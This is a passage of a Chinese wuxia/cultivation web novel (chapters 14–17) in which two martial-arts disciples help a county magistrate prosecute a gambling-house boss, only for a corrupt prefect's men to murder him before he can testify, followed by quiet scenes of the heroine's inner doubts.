张忠脸色肉眼可见的变白,谁人不知晴隆县总捕头王玉明,身为武道化劲的高手,最是嫉恶如仇,也最是憎恨以赌害人之人,平日里都对银勾赌坊多有为难,现在知道赌坊还私造假账本,怎会放过如此良机。
孟归芸等人在一边旁观,看着陈捕头带来的衙役们把赌坊仔仔细细搜个干净,查出来的各类材料也装箱一并封存后,正准备带着罗三、张忠等人离开。
“大人!这赌坊还私设刑室,拘禁他人!”孟归芸拦住了陈捕头。
“什么!?”陈捕头心头一跳,又是一条大罪啊,也不敢耽搁。
“可知刑室在哪儿?快带本捕头去。”
“大人这边请。”孟归芸言罢,走在前方带路。
江元郁那边去县衙之后,告发了银勾赌坊私造账本一事,县丞不敢耽搁,叫来总捕头王玉明,让他安排人手去缉拿赌坊众人后,便马不停蹄的赶去知县府上告知此事。
无他,大成律例,凡伪造账目者,皆处以极刑!此乃大成国十三必杀律例之一,为开国太祖定下,还不允许后辈子孙更改的。如果银勾赌坊这事为真,那么真算近几年晴隆县的大案了,自然得赶紧通知知县。
江元郁本想着去赌坊那边跟孟归芸汇合,但又想着有宏安老道在,应该出不了什么事,思索了片刻,这王总捕头可是在江湖上小有名气的侠义之人,没想到如今竟在晴隆县当差,便追上了去捉拿刘合的王总捕头等人。
“公子怎么称呼?我看公子年纪轻轻,修为却是不低啊。”骑在马上的王总捕头略微打量了下江元郁后道。
“在下蒋有,自小习武,如今堪堪迈过先天境罢了。”江元郁抱拳,但却给了假名。
“在下王玉明。先天?你是修道之人?”
“正是。”
“这如今修道之人也是难得一见啊,王某习武至今近三十年,也不过化劲。”大成国的武道修炼是开国太祖参考道门的修炼体系,粗略的将武道境界分为三个,锻体、暗劲、化劲,分别对应道门的引气、开窍、先天。
但总归不如一开始就能运用天地元气的道门,且道门先天境往后还能继续修炼,单纯修炼武道能过化劲之人,不是没有,但从大成国开国以来,也屈指可数。
王玉明感慨道:“蒋公子的天资真的是羡煞王某啊。”
天资?江元郁本想客套几句,但一想到自己那妖孽的小师妹,嘴边的话都似乎有点说不出口了。
“哦?王总捕头身为化劲高手,怎么会在县城为官呢。”江元郁想岔开话题,问出了自己的疑惑,“按照我朝律例,武道化劲高手愿意加入官府的,职位不会低于六品,应该在府衙任职吧。”
“不提也罢!”王玉明一声苦笑,不再言语。
看来这王总捕头也有自己的故事啊,江元郁如此想到,但也不再追问。
一路无言,很快就到了刘合的宅院前。王玉明吩咐一队人将刘宅团团围住,拍了半天的门并无人应门,便将门撞开了,乙字班的衙役在班组捕头的带领下四散开来,剩下的丙字班衙役跟着去往正厅。<
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刚踏进入正厅,便见刘合大马金刀的坐在了椅子上,双目微闭似在等着他们。
听到众人脚步的刘合,一副气定神闲的样子:“想不到居然是王总捕头亲临,倒是让在下不胜荣幸啊。”
“刘合,你自己做了什么事情,还需要我多说么?你是束手就擒,还是待我将你亲自擒下。”王玉明语气冷漠。
“呵,早就听说王总捕头身手不凡,已至化劲。刘某不才,倒也练了几十年的功夫,今日遇见,不如就趁此机会领教一番王总捕头的高招!”
话音刚落,刘合便反手从椅子后面拿抽出宝剑,剑身惶惶,眨眼睛便直奔王玉明身前。
“锵!”
刀剑相击,发出刺耳的声音。电光火石之中,两人交手十余招。身影也从正厅门口移至院中。
刘合手中宝剑一看便是良品,剑身亮若明镜,在刘合的内劲加持下,剑剑都发出破风声。王玉明所用的刀却只是衙门的制式大刀,质量上终究差了一筹。你来我往之间,大刀已被砍出一些豁口。
“哈哈哈哈,王总捕头功夫果然不赖,可惜这刀么,却配不上王总捕头的身手啊。”刘合得势之后,嘴上还不饶人。
“多嘴。”王玉明避开刺向肩头的一剑,拧腰吸气,右臂高高抬起,随后径直劈下,竟是使出了烂大街的招数—力劈华山。
这招数虽普通,却也分何人所用。刘合深知有着王玉明内劲加持下的这一刀,如果不防御住,自己的身子都可能被砍成两段,自然不敢怠慢,不由得身形后退两步。
王玉明得势不让,举刀连砍,刘合一退再退,气势也滑落下来,身子也退到了假山前面。还没等刘合侧身,王玉明的刀便再次落下。
“噗!”余力不足的刘合手中宝剑被磕飞,却没有卸完刀剑相击的劲力,不由自主的撞上了假山,一口血喷涌而出,随后人向前倾倒。
那边王玉明已经收刀,吩咐手下将刘合绑了起来,送往衙门大牢。
刘合纵使再心有不甘,此刻也无力反抗。只能指望亲信能够快点将消息送到宁府知府吕大人府上,希望吕大人能够早点来救自己。方才找王玉明比试,也不过是想吸引衙门众人的注意力,为亲信拖延时间而已。
随着刘合的被抓,衙门那边已经对此事理了个大概。但毕竟是近几年的大案,知县决定三日后再开堂审案,这几日抓紧时间再梳理一下案情。
得知县衙安排的江元郁,和王玉明打了个招呼,便准备返回客栈,将此事告知宏安老道和孟归芸。
天已经黑了,孟归芸已经帮赵全处理好伤口,将他留在房间休息。
江元郁到客栈时,三人正坐在宏安的房间等他,见他回来,莲夏便去叫小二将饭菜端上来,四人边吃边说。
孟归芸听了江元郁说刘合被抓的事儿,还是想等案子定下后再走,以免再生变故,宋娘子他们反应不过来。
第二天江元郁便租了辆马车,让马夫将赵全送回赵家,好让宋娘子和阿福安心。
14. 审问
开宁府吕府,吕松用力拍向桌子:“废物,这么要紧的东西都看不住!”
思索了一会儿,吕松对下面那人道:“将送信的那人杀了,把他的话告诉韩井,立刻让韩井带一队人去晴隆县,就说开宁府有人报案,与这银勾赌坊有关,韩井知道该怎么做。”
但从晴隆县到开宁府府衙,正常骑马就需要两日,报信那人快马加鞭也用了一日半,韩井还在路上,晴隆县知县已经开堂了。
公堂早早就围了许多人,晴隆县县民对银勾赌坊被查封的事关注度极高,这几日街头巷尾都在讨论此事,孟归芸几人简单易容了一下,也在其中听着。
来的人大都是在痛骂这赌坊坏了许多人家,但普通百姓没有势力也没有证据,根本奈何不了他们,这下银勾赌坊的老板终于被抓,大家都来看热闹了,不少人手里还挎着菜篮子,就等着判决下来朝他们扔点臭鸡蛋烂叶子。
随着知县一声:“升堂!”
周围开始安静下来,衙役将罗三、张忠等人带了上来,还未等知县问话,几人便高喊冤枉。
“尔等还有脸喊冤?赌坊的账本上详细记载了各类财务的明细,赌坊的牌手等人也供出你等指使他们在赌局中/出千,设局坑害赌客,从而让他人欠下高利贷的事。何来的冤枉?”知县面色威严,呵斥道。
“知县大人,我等自知出千害人、愚弄乡里一事罪孽深重,但伪造账本的可不是我等做下的啊!”罗三之前因为挨了打,对刘合有恨,再加上这私造账本的重刑威慑之下,直接反水。
“罗三!你可知道你在说什么?你难道不怕……”张忠无比震惊,不敢相信罗三竟然敢反咬刘合一口。之前赌坊几个头目都被分开关押,谁曾想短短几日罗三便变了。
“来人,把张忠先押下去。”知县开口说道。
“罗三,你这个卑鄙小人,你敢背叛大哥,必定不得好死。”张忠头撞向罗三,想是为了阻止他不惜同归于尽,却被两旁的捕快及时拦下。
“罗三,你不得好死,你的家人也会因你的行为付出代价!”张忠被扭走之时,还不住的威胁道。
“堵住他的嘴,赶紧给我带下去!”知县看着堂下的百姓已经开始指指点点,互相攀谈起来,立马一敲惊堂木喝道,“罗三你且别怕,你若是把你知道的都清楚交代出来,本官可以考虑判你个戴罪立功。”
听得知县如此说,罗三/大喜,连忙把他知道的赌坊勾当全都说了出来。
原来这银勾赌坊不止是开设赌坊诱害赌客,让他们欠下巨额赌债,从而卖宅卖地,搞得家破人亡。还和城里的一些勾栏勾结,从偏远的小村掳来幼童,男孩培养成龟/公打手,女孩则为清倌妓子。此外,还跟城外的山贼有勾结,偷偷运送物资给他们,作为回报山贼会将一部分劫道的银财分润给赌坊。
尽管知县、师爷等人看过了这些账本,大致知晓这银勾赌坊所犯之事,但哪又抵得上罗三这亲历者口中说出的残忍,一时间堂上堂下皆是哗然。
“罗三,照你所说,这幕后皆是刘合指使你等所为了?”知县不得不再拍惊堂木,止住了堂下百姓的议论,向着罗三问道。
“大人明鉴!这一切全都是刘合指使我等所为,草民罗三敢以性命担保。”罗三本来心里还有点估计,开始述说的时候还支支吾吾,但随着他吐露的内情越多,他便知道自己再也回不了头,只有扳倒刘合,自己才有活的希望。
“好,来人,带刘合!”
刘合作为重罪疑犯,手脚上皆上了玄铁制成的镣铐,走动之时发出哐哐的响动。被押至公堂后,也不跪下参拜知县。
“大胆刘合,见到本官为何不跪?”知县怒斥。
“呵,知县大人,我又无罪,为何要跪,为何要拜。”刘合冷哼一声,显得无比狂妄。
旁边一名衙役朝他膝盖揣了一脚,他硬生生跪在了地上,膝盖生疼,回头狠狠剜了那衙役一眼。
“罗三等人已经将你所犯之事系数供人,又要账本为证,难道你还想抵赖不成。”知县声音变冷,“我劝你从实招来,免得受皮肉之苦。”
“知县大人,且不说那账本的真假,也不说罗三等人所言是否为真,就问一句,刘某如果真敢做下这些,又是凭的什么呢?”刘合目光定定直视知县,嘴角带着一丝莫名的微笑。
“现在是本官问你,不是你问本官,再不好好答话,休怪本官打你板子了。”知县严肃道。
“银勾赌坊在晴隆县开了四年,从不关门歇业,再加上罗三所说的那些暗地里的勾当,怕是盈利得以十万计了吧,大人可从我家、赌坊库房查出了这么多的银两?”刘合笑容更显诡异。
知县心里咯噔一声,刘合所问这个问题,其实之前已经和县丞、师爷等人讨论过,可能是这刘合背后还有人在,也可能是刘合把财物藏于了他处。但架不住这案子确实太大,所涉人数也多,把知县架在了火上,不得不审。
“刘合,本官再给你一次机会,从实招来!”所幸知县也是个当断则断的人,一拍惊堂木,大声喝道。
堂下的刘合再次一笑,嘴唇微动,做了一个口型,然后问道:“大人可看清了?可要刘某真的把他说出来,哈哈哈哈。”
一旁的师爷连忙俯身贴向知县,低声说道:“吕?难道背后是知府大人?”
“本官不瞎,但现在就算他背后是吕大人,我等现在也只能再审下去了。”知县目视堂下,面容略有苦涩。
堂下的江元郁在师爷俯身时,便运劲于耳,听力大增,听到了师爷与知县的对话。
“师妹,刚刚师爷说这刘合背后可能是本府知府吕大人。”江元郁偏头凑向孟归芸耳边说道。
“跟我预想中有些差异,本来我还以为这刘合是与知县有勾结,谁曾想到后台
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还要大些。”孟归芸面色淡然。
江元郁因着孟归芸说话,将原本盯着师爷的目光收了回来,如此近的距离,他甚至能看到她脸上浅浅的绒毛,双唇透着红润的光泽……
纤长的睫毛随着眼睛往上抬起,直到两人眼神相接,江元郁才又听见了她的声音:“师兄,你怎么了?”
“啊……我看你脸上有根眼睫毛。”江元郁赶紧直起身来,看向公堂。
莲夏闻言连忙凑过来:“我来帮小姐清理……哪儿呢?我怎么没看见?”
江元郁正色道:“兴许刚才师妹一动,便掉了吧。”只那有些发红的耳朵出卖了他,“看这知县如何……”
江元郁一句话还没说完,公堂上的形势又有了变化。衙门外冲进来一队人马,看服饰应该是府里的捕快们。
“开宁府捕快司办案,闲人回避!”甫一进来,那些穿着捕快服的人便开始驱赶堂下的百姓。
“住手!这里是县衙!即便尔等是府里的上官,也得先跟知县大人交接后,方才有权执法,更何况现在公堂正在审理案情!”吵嚷之际,王玉明及时赶到,制止了开宁府里来的那些捕快,但堂上剩下的百姓已然不多。
百姓们也不傻,本来就是来瞧个乐子,对于他们来说,官府能整治了这些坏人最好,整治不了日子也还是那样过。现在看这形势明显有问题,赶紧脚底抹油溜了再说,只剩下几个胆子大的,还跟孟归芸他们凑在一起看。
“原来是王总捕头,事出突然,韩某还未来得及拜会知县大人。”在王玉明和开宁府众人对峙之时,又从衙门外阔步走进来一人。
此人正是开宁府知府吕松派来的韩井,身穿跟王玉明一样的服饰,但是腰间的令牌却是银质的,表面他的身份是府里的总捕头。王玉明的令牌是铜质,则属于县一级。
韩井都是带着人快马加鞭而来,没想到还未进入县城,公堂那边已经开始了审理。好在韩井出发前便飞鸽传书给衙门里的眼线,让他留意着知县等人的动静,一旦事情有变,便去东城门口等待韩井。
眼线在罗三供出刘合后,便匆匆赶往东城门口。韩井找到眼线后,立刻派开宁府的捕快们前往公堂控制形势,他则落在身后听着眼线的禀报。当他听到罗三等人已经认罪画押,愿意指证刘合时,眼里闪过一道寒光,决定不再留着刘合的性命。
因此略微耽搁了些时间,慢了开宁府的捕快们一步。
“知县大人,在下韩井,为开宁府捕快司乙字班总捕头。”韩井朝着堂上的知县拱手道,“几日前,开宁府接到报案,有人状告晴隆县银勾赌坊强抢民女。”
“吕大人很是气愤,因此派在下前来缉拿刘合等人,却不知银勾赌坊等人已被知县大人捉拿,不得已才冲撞了大人。还望大人海涵。”韩井语气显得很是诚挚,“另外也请知县大人能把刘合等人移交给我,让我好带回去交差。”
15. 不要你了
“哼!哪有这么巧的事!我看就是那知府和赌坊的人勾结,现在想要保他。”一旁的莲夏看出来不对劲,小声嘀咕道。
“莲夏真聪明。”孟归芸夸着莲夏。
“都是小姐教导的好。”莲夏笑嘻嘻道。
江元郁在旁边看着主仆两人的互动,心想:“好像还没听师妹夸过我呢。”
莲夏都能看出的事情,知县等人自然不会瞧不出,但现在案情基本已经属实,就差刘合认罪了,自然不可能把这案子拱手让人,更何况当时在堂上的百姓起码有近百人。真要是把刘合等人交给州里来人,那知县这名声也就臭了,少不得戴个昏官的帽子。
“本来把这刘合交给韩总捕头不是什么大事,但坏就坏在,此人在我晴隆县也涉及一桩重案,现在证据确凿,怕是无法将人移交给韩总捕头了。”事到如今,知县也不好退让,因此态度还是很坚决。
“知县大人,不如再考虑一下,再有两月就是各级官员的考核。在下还想着靠这刘合一案,在知府大人面前好好表现一番呢。”韩井笑容更甚,再次冲着知县拱手。
“少拿这些吓唬我!本官说了,人不放,要想拿刘合等人,就请知府大人屈尊亲自跑一趟吧。”知县听明白了韩井的威胁,反而更加愤怒,猛地站起身来喝道。
“王总捕头何在?还不将刘合押下去,严加看管!出了问题,我唯你是问!”
“是!谨遵大人吩咐!”一旁的王玉明立马抱拳应声,亲自动手将刘合提溜起来,往外走去。
“劳烦开宁府的各位捕快兄弟让开,不要耽误我将重犯关入天牢。”开宁府的捕快下意识的围成一圈,想要拦住王玉明。
“你们干什么,还不给王总捕头让开。”见到王玉明的手已经向腰间的刀柄处摸去,韩井连忙大喝了一声。
“多谢各位了,也多谢韩总捕头了。”王总捕头虚抱拳,语气低沉的说完,便带着刘合离开。
见着刘合等人被带走,孟归芸等人也便想跟着离开。
韩井眼神随之一动,常人见着衙役都是畏畏缩缩的,更何况刚刚两方对峙的时候,普通人更是难以承受那种气场。但眼前几人的神色却又如此淡然,又想到报信之人所说的话,直觉告诉他这几人肯定与银勾赌坊的事有关,朝着孟归芸几人开口道:“站住,你们是什么人?何以在此聚众?”
见宏安和孟归芸都没搭话的意思,江元郁上前半步答道:“草民蒋有,携妹子去镇江府看望祖父,这两人是我们管家和婢女。路过晴隆县听见大家都在说今日正好开堂,有些好奇便来看看。”
“不知是何处冲撞了大人?”
“哦?这么巧。把你们的路引拿出来看看。”韩井面带怀疑说道。
一旁的莲夏忙将包里几人的路引取了出来,旁边的捕头顺手接过后弯腰递给韩井。
韩井拿着仔细翻看,确是官府所发的正经路引,抬头观二人的面相确实几分相像,也没有别的蹊跷之处,就把路引又递了回去。
“晴隆县到镇江府骑马都得两日光景,你几人若无事就不要逗留了。”韩井貌似随意的说道。
“大人说得是,不过这晴隆县到镇江府骑马的话,至少得三日。我等是得抓紧时间赶路了。”
韩井的小心思被江元郁识破,不好再多说,于是挥手让捕头放几人离开。
回到客栈,孟归芸思来想去,那个叫韩井的,定不会如表面一样放着刘合继续在县衙大牢里,恐怕还有动作,且他看起来武功应与王总捕头差不多,带的捕快皆步伐矫健、训练有素,若是硬来,王总捕头那边不一定能讨到好。
孟归芸便叫上江元郁,两人再次易容,刚到大牢那边,便能感觉到已经有人在埋伏,且人还不少,约莫有十来个。
两人避开他们,挑了个远些的房顶待着,随着夜深,对方的人开始出动了。
十来个黑衣人压着脚步往大牢去,看守的人还未来得及发出信号便被打晕,将路过时能看到的,关押在牢里的赌坊的人全部杀掉了,一时间牢里哭喊声四起,惊得刘合从地上站了起来,从牢房中往外看去。
可惜从他的方向并未看到什么,忽然听到张忠一声高喊:“大哥小心!”。
刘合不敢出声,怕他们寻着声音找了过来,心里暗道不好,这吕松竟想杀人灭口,本以为今日是等到了救星,原来是等到了煞星。
但这并拖不了多少时间,已经能听到一阵阵脚步声了,刘合只能贴在墙角,想让自己存在感低一些。
然而那群人并未踏过拐角,后方传来一阵急急的脚步声,只听得一声大吼:“大胆贼子!竟敢擅闯大牢!”
正是巡逻至此的王玉明。
领头的黑衣人并未说话,而是迅速打出手势,其他人继续去找刘合,他和另一名身形健壮的黑衣人留下对付王玉明。
王玉明带着人向前冲去,他阻挡着这两名黑衣人,其他人趁机去追另一波黑衣人。
这两人武功虽不及王玉明,但配合度极高,一时之间竟也与他难分胜负。
突然一枚暗器从后方的黑衣人处射来,王玉明为躲避暗器,被前方的黑衣人抓住机会砍了一刀,那刀砍在王玉明大/腿上,让他站立不稳,两名黑衣人却步步紧逼。
王玉明暗道不好,这里空间狭小,两人围攻他一人,他本就处于劣势,他虽不敢错开眼看一眼伤口,但仍能感觉到血在不停地往外流,点穴也是白费,这伤在腿部,只要他没停下,终究会冲开的。
只能再加一把力了,在自己失血过多倒下前把这两人解决了。
正当王玉明准备发力进攻,身后却传来剑刺入身体的声音,面前的黑衣人眼露惊讶。
他拉开距离往后一看,竟是那天所见的年轻人蒋有,他武功着实不低,自己竟没察觉到他过来。
王玉明便放心了一些,正想上去与他并肩而战,却被人拉住了:“王总捕头,你这刀痕很深,要及时止
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血,那黑衣人就交给我兄长吧,我来为你包扎。”
王玉明回头,见是一名年轻男子,看着比蒋有还小几岁,生得十分秀气,从荷包里取了几个小药瓶出来,让他服下一颗,又撒了些药粉在伤口上,便包扎了起来:“身上带的药材和用品不全,等这边结束我回客栈将东西都拿来,再给你仔细处理。”
“多谢蒋公子。”王玉明理所当然的认为孟归芸也姓蒋。
孟归芸冲他笑了笑,她那路引上的名字,确实也姓蒋,蒋芜。
孟归芸手上不停,动作干净利落,很快便包扎好了,两人都将眼神转到了江元郁和黑衣人那边。
胜负已分,黑衣人没了另一人的配合,实力大减,江元郁剑横在那人的脖子上,随后将他敲晕,因着这会儿没镣铐和绳子,又把他下巴和手脚都给卸了,便朝着孟归芸和王玉明走了过来。
这边安静了下来,听见里面打斗的声音便尤为明显,江元郁立马道:“我去里面支援。”便往声音来源方向跑去。
看着跟上来的孟归芸,江元郁想起白天她夸莲夏道时候,忍不住问道:“师妹,我刚才的剑法怎么样?”
“没看见,我给王总捕头包扎完的时候,你已经打完了。”
……
孟归芸见他盯着自己不说话,又道:“这说明师兄你比那黑衣人强了不少,才能速战速决。”
江元郁点点头,自己作为师兄,指导师妹是应该的:“师妹过奖了,为兄比你早练几年而已,算不得什么,不过以后师妹若有什么不懂的,问我就行。”
眼见着江元郁表情明朗了起来,孟归芸眼里也有了些许笑意。
刚说完这两句话,两人便已到了打斗的地方,两边都已倒下一半的人,正在僵持着,看着来的这两人,心里都有些紧张,担心是对方来人了。
江元郁和孟归芸却不管这么多,持剑上前,这气势吓得两边的人都往后退了些。
两人直冲着黑衣人而去,三两下便解决了。
刘合在里面吓得哆哆嗦嗦,差点那黑衣人就要砍开锁进来了,幸好捕快及时赶到了,这会子暂时安全了,他心里有些复杂。
两人连忙检查倒下的捕快伤势,有两个伤得比较严重,由孟归芸处理,剩下伤得比较轻的,江元郁便给他们一些药,让他们先吃着。
江元郁看了一眼坐地上一言不发的刘合:“刘合,看来你们老大这是不要你了啊。”
刘合并未搭话。
王玉明一瘸一拐地过来了,感激道:“多谢两位蒋公子出手相助,待此番事了,一定要让王某请你们吃顿饭。”
江元郁拱了拱手:“叫我蒋有就行,其实我早就在江湖上听说过王总捕头的大名了,一直很仰慕你。这里事还多,王总捕头就不用多客气了。”
王玉明也拱了拱手,便开始安排起现场的事来,要叫人来清理现场,医治伤员,领头的那黑衣人还得好好审问,还要将事禀告给知县。
16. 迷茫
大牢里,王玉明看着从客栈带药和工具回来的孟归芸帮他处理伤口,对着江元郁道:“没想到小蒋公子虽然年轻,这医术却不错,我原来经常受伤也见过不少医者,少有人能将伤口处理得这般干净,且这药敷上去凉凉的,疼痛也减轻了不少。”
江元郁一副有荣与焉的样子:“舍弟不止是医术了得,习武天赋也非凡,现在也就是小我几岁,等他到了我这年纪,功夫定然也在我之上。”
王玉明不禁有些惊讶:“哦?蒋有兄弟你天资已这般出众,令弟竟还略胜于你?想来你们家人的天赋都不一般啊!”
莲夏在旁边听着,尾巴都要翘起来了,好像两人夸的是她一样。
饶是孟归芸平日里总是冷清的模样,这会儿也不由得有些不好意思,便岔开了话题:“王总捕头,那些人敢来大牢杀人,想来定是有所倚仗,不知...”
王玉明严肃了起来:“也没什么不好说的,韩井等人倚仗的不过是知府吕大人罢了。之前知县大人还与我说定要小心,但也仅是猜想他们会与刘合串供,或将他劫走,哪晓得他们竟敢直接闯进大牢杀人灭口。闯天牢的罪名并不比私造账本小,所以现在这事已是越闹越大,知县大人怕是也不知如何处理了。”
江元郁道:“不提知县大人如何,就连王总捕头你恐怕也要受此牵连了。”
王玉明叹了口气:“这本就是我看管不力,是我的责任,上头如何处罚王某都认了。”
随即又振奋起来:“哪怕我丢了这个总捕头了,我依然会坚持将刘合等人绳之以法!”
孟归芸目光一撇,见到江元郁头颅微垂不知道在想什么。
这时有衙役来报说知县大人过来了,孟归芸和江元郁便告辞回了客栈。
晴隆县大牢里,王玉明陪着知县大人,县丞,师爷三人,将那黑衣人提出来审问,他却抵死不说,没有任何进展。一群人讨论了一番之后该如何行事,事情牵涉到知府,怕是只能越级向布政使司报了。
且不说布政使司里有没有人和吕松有所勾结,现下韩井在这里,恐就是知府派来盯着他们的,但凡他们有任何动作,说不准知府那边还会如何,毕竟连闯天牢劫杀之事都已做了。
想到此处,师爷不免心生退意,语气迟缓的道:“不如,此事就到刘合这里。”
话毕,便看王玉明带着怒意盯着他,但是县丞和知县却是面无表情。
于是师爷所幸将自己的担忧都说了出来:“这吕知府既然能安排人闯天牢劫杀,定然是个心狠手辣的人。咱们一是刘合自己都还没招供,根本没法咬死这吕知府。二是不知道这吕知府背后是否还有更大的背景。三是咱们手里能用的人手也不过县里这些捕快衙役,四是咱们几人的一家老小可都还在这晴隆县里,不为自己想,也不为家人想吗?”
“如今这事到这里,咱们和他的关系还能有所缓和,再继续下去,可就真没法善了了啊!”
几人一阵沉默,这时有衙役过来报,刘合有案件要交代。
王玉明、县丞、师爷三人都把目光投向知县,似等着他做决断。
“咱们就听听这刘合到底想说什么。”知县沉思半晌后道,“王总捕头,你去将刘合提来大堂吧,咱们再审一审他。”
在劫杀之前,刘合无比笃定自己能出去,所以公堂之上才那么嚣张。但现在他知道自己不过就是吕松的一条狗,召之即来,挥之即去。一想到自己给吕松送了那么多银子,到头来居然还想要自己的命,那么老子定然也不会让你吕松好过!
跪于大堂中的刘合将自己和吕松勾结的事都说了出来,一旁师爷记录着,正待让他签字画押时,从堂口处飞来一把刀。
王玉明起身阻止,但终究是受了伤,还是慢了一步,那刀直穿透了刘合的身体,王玉明只来得及接住刘合缓缓前倾的身躯。
刘合口里喷着血沫,在王玉明耳边低语了一句话后便死了。
王玉明朝着堂口处一声怒吼:“韩井,你竟敢私杀要犯!”
韩井带着府里的捕快们一字排开,双手环抱胸/前,“王总捕头,你这话可不能乱说啊,我是得知天牢被闯,特意带着人手来问一声是否需要支援的。”
不待王玉明回话,韩井嘴里又发出轻佻的一声,“哟,这不是重犯刘合么?怎么死在这大堂上了!”
又指了指刘合:“不对啊!刘合这身上的刀怎么这么像是衙门的佩刀?知县大人、王总捕头,总不能是刘合说了什么,你们要杀人灭口吧?哈哈哈哈。”
王玉明将刘合的尸体放在地上站起身来,语气森然:“韩井,人在做天在看,举头三尺有神明。你等着,总有一日我会将你拿下。”
“哈哈哈哈,我等着!”韩井张狂大笑,带着府上的捕头们扬长而去。
客栈里孟归芸从江元郁口中得知了此事,不禁愣住了。
她本以为保住了刘合,接下来无论如何都有一条路可走,却是她想得太简单了,如今刘合没了,路就不知道该通往何处。
这一幕像极了她自己如今的状况。
自她复生后,她再也没有从前那般为母亲之死伤心过,见到外祖母一家也并没有十分的亲切,似乎所有的一切都变得好淡,她对他们的行为都是延续了从前的习惯而已。
她感到困惑,她为什么变得这么冷漠,是不是因为她丢了一魂,那魂就是她脑中的身影,不知是什么原因没有归回她的身体之中。
也感到自责,她忍不住逃避,修炼能让她暂时忘记这一切,可每到夜晚,那个梦就会提醒她,她的母亲死了,她还没有为她报仇,也没有为她伤心。
好不容易修炼突破了引气,到了开窍,那个梦境已不再那般清晰,也不再让她头痛,但自责和困惑依然困扰着她。
她又逃了,她告诉自己,连
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林家都做不到的事,凭她一人又如何,不如跟着师父出去历练吧,说不定提升了自己的能力,就能帮到林家,一起为母亲报仇了。
更何况还有师兄,她其实一早就看出来师兄的身份不一般,她想借用师兄的势力,毕竟自己救了他不是吗?可她的记忆又告诉她,自己这个想法十分卑劣。
她当初愿意帮宋娘子,除了宋娘子的善良,便是她看着宋娘子抱着阿福,脑中不自觉地浮现出来小时候母亲抱着她在院中,额头轻轻抵着她,正笑着逗她的样子。她想着,虽不能为母亲报仇,可帮一下宋娘子肯定也是能做到的。
如今宋娘子一家虽然已经安全,但事情并没有结束,反而牵扯出来更大案子,发展成这样,她该怎么办?
江元郁见她的面色惨白,原本清亮的眸子似乎也暗了许多,猜她是将这事揽在自己身上了,便蹲在她面前,轻声唤她:“师妹。”
见孟归芸的眸子动了,朝他看来,才继续道:“别担心,这事儿咱们既已报官,如今就该由他们去处理了。我们已经做了我们能做的了,已经尽力了,不是吗?”
“你这最近为了跑这件事,不是进赌坊就是盯县衙大牢,都没休息好,现在才休息了两个时辰就起来了,要是睡不着,我带你出去转转好不好?”
见她呆呆地点了点头,便等去如厕的莲夏回来,让莲夏给孟归芸稍微梳洗一下,等会儿一起出去。
江元郁又去问了宏安,宏安让他们自己去,别管他了。
晴隆县虽为只是一个县城,人口却多,也十分热闹,这会儿正是申时,虽不及早上,也有不少摆摊的人。
莲夏因为一直是跟着孟归芸身边的,孟归芸不太出门,她也很少来这么热闹的地方,自打这次出来游历以后,每次逛到街上,她都很兴奋地到处看。
今天孟归芸看起来兴致不高,她只紧紧跟着孟归芸,想让她开心点:"小姐,您看那边有卖糕点的,闻着好香啊,要不要我去买点。"
要说孟归芸醒来后,最有感情的是谁,还得是每日陪在她身边的莲夏,她也不忍莲夏陪她一起烦恼,对着莲夏笑着点了点头,只那笑容看着有些勉强。
莲夏见孟归芸回应她了,小跑着就去了前面一个糕点铺,不多时就捧着几个冒着热气的白嫩的糕点回来:“小姐,是五香糕,您尝尝。”
孟归芸用帕子裹着接过了一块,又递了一块给江元郁,莲夏见她吃了,自己这才咬了一口:“嗯,好香甜,这店家挺舍得,放的糖够,倒是压住了人参和白术的苦味儿。”
孟归芸见她吃得一脸满足,心里也感觉舒服了一些。
江元郁见她好了一些,便说道:“咱们都已经在晴隆县待了这么久了,去与宋娘子他们辞个别吧,走的时候把那与银勾赌坊勾结的山贼,也一并解决了,也算是有个结果。”
孟归芸心下微动,师兄是在担心她:“好。”
17. 拒绝
“姑娘!”宋娘子开门,满脸惊喜,“几位恩人,实在不好意思,你们帮了我们这么大忙,还没问过你们姓名,都不知该如何称呼。来来来,快进来。”
宋娘子边招呼着他们,边冲着里面喊:“相公,恩人他们来了!”
孟归芸冲她笑笑,随着她进门:“宋娘子不必客气,我姓孟,这三位是家父、家兄、家妹,今日我们来是想告诉你们,银勾赌坊以后再也不会有了,你们可以安心在这赵家庄继续住着了,也是来向你们辞行。”
孟归芸几人看向院子,如今已是干净了许多,各种物件也都摆放得整齐。
宋娘子脚步一顿,又拉着他们在正厅里坐下,阿福双手捧着一个碗,小心翼翼地跨过门槛,朝着孟归芸过去:“姐姐,喝糖水。”
孟归芸从阿福手中接过碗,摸了摸他的头:“谢谢阿福。”
阿福冲她笑笑,但还是不错眼地盯着她:“姐姐喝。”
后面跟着的赵全也端着餐盘过来,脸上还带着未散完的淤青,给江元郁三人也各分了一碗,看着几人面貌与在晴隆县看着不同,也不敢问。
“这是我自己做的莲子汤,天热了,解解暑。”宋娘子满脸笑意,又弯着嘴角,对着孟归芸捂着嘴小声道:“你那碗啊,是阿福自己给你舀的。”
孟归芸闻言,端起碗喝了一口:“嗯,好甜,阿福舀的真好喝。”
阿福这才害羞一笑,躲到宋娘子怀里去了。
宋娘子轻拍着阿福的背,道:“我知道几位恩人定是有自己的事要做,也不敢多留,但现在已是酉时,天马上就黑了,这夜晚也不好赶路,不如在这儿住一晚,明儿个早上再出发。”
面上又带着些涩然:“现下家里能拿得出手报答各位的也没有,不过我这做菜的手艺还行,想着至少给你们做顿饭吃,还请几位恩人不要嫌弃。”
赵全赶紧接话道:“是啊几位恩人,我家巧娘做的菜,那可是我们赵家庄出了名的好吃,就留下来吧,也让我们尽点心意。”
孟归芸看了看宏安他们,见他们并无反对之意,便道:“本也是想再打扰你们一晚的,如此便多谢了。”
“哎哟,恩人可别说‘谢’,这不是折煞我们吗,相公,赶紧去问问谁家有鸡可以卖。”
孟归芸本还想说不用这么麻烦,但赵全已经一边答应着一边往外跑,阿福撒开宋娘子,跟着一块儿跑去了。
夜里,房里的莲夏睡熟了,孟归芸侧躺着看她,见她脸上还带着笑意,不知道梦见了什么,但自己心里依然乱糟糟的,索性去院子里坐坐吧。
这会儿不过夏至,夜里吹着小凤,孟归芸身上穿得单薄,反倒觉出一丝凉意,但她并未返回添衣,仿佛这凉意能让她感觉好受一些。
一声又一声不绝于耳的蛙鸣,伴着风带来的莲叶的清香,一切都那么平和,孟归芸的心里却怎么也静不下来。
江元郁醒了过来,似有所感,起身披上外衣出来,见孟归芸在院里的台阶上坐着,呆呆地抬着头,似在看月亮。
回屋又拿了件外衣,江元郁将衣服披在她身上,慢慢坐在了她身边,看着她的侧脸。
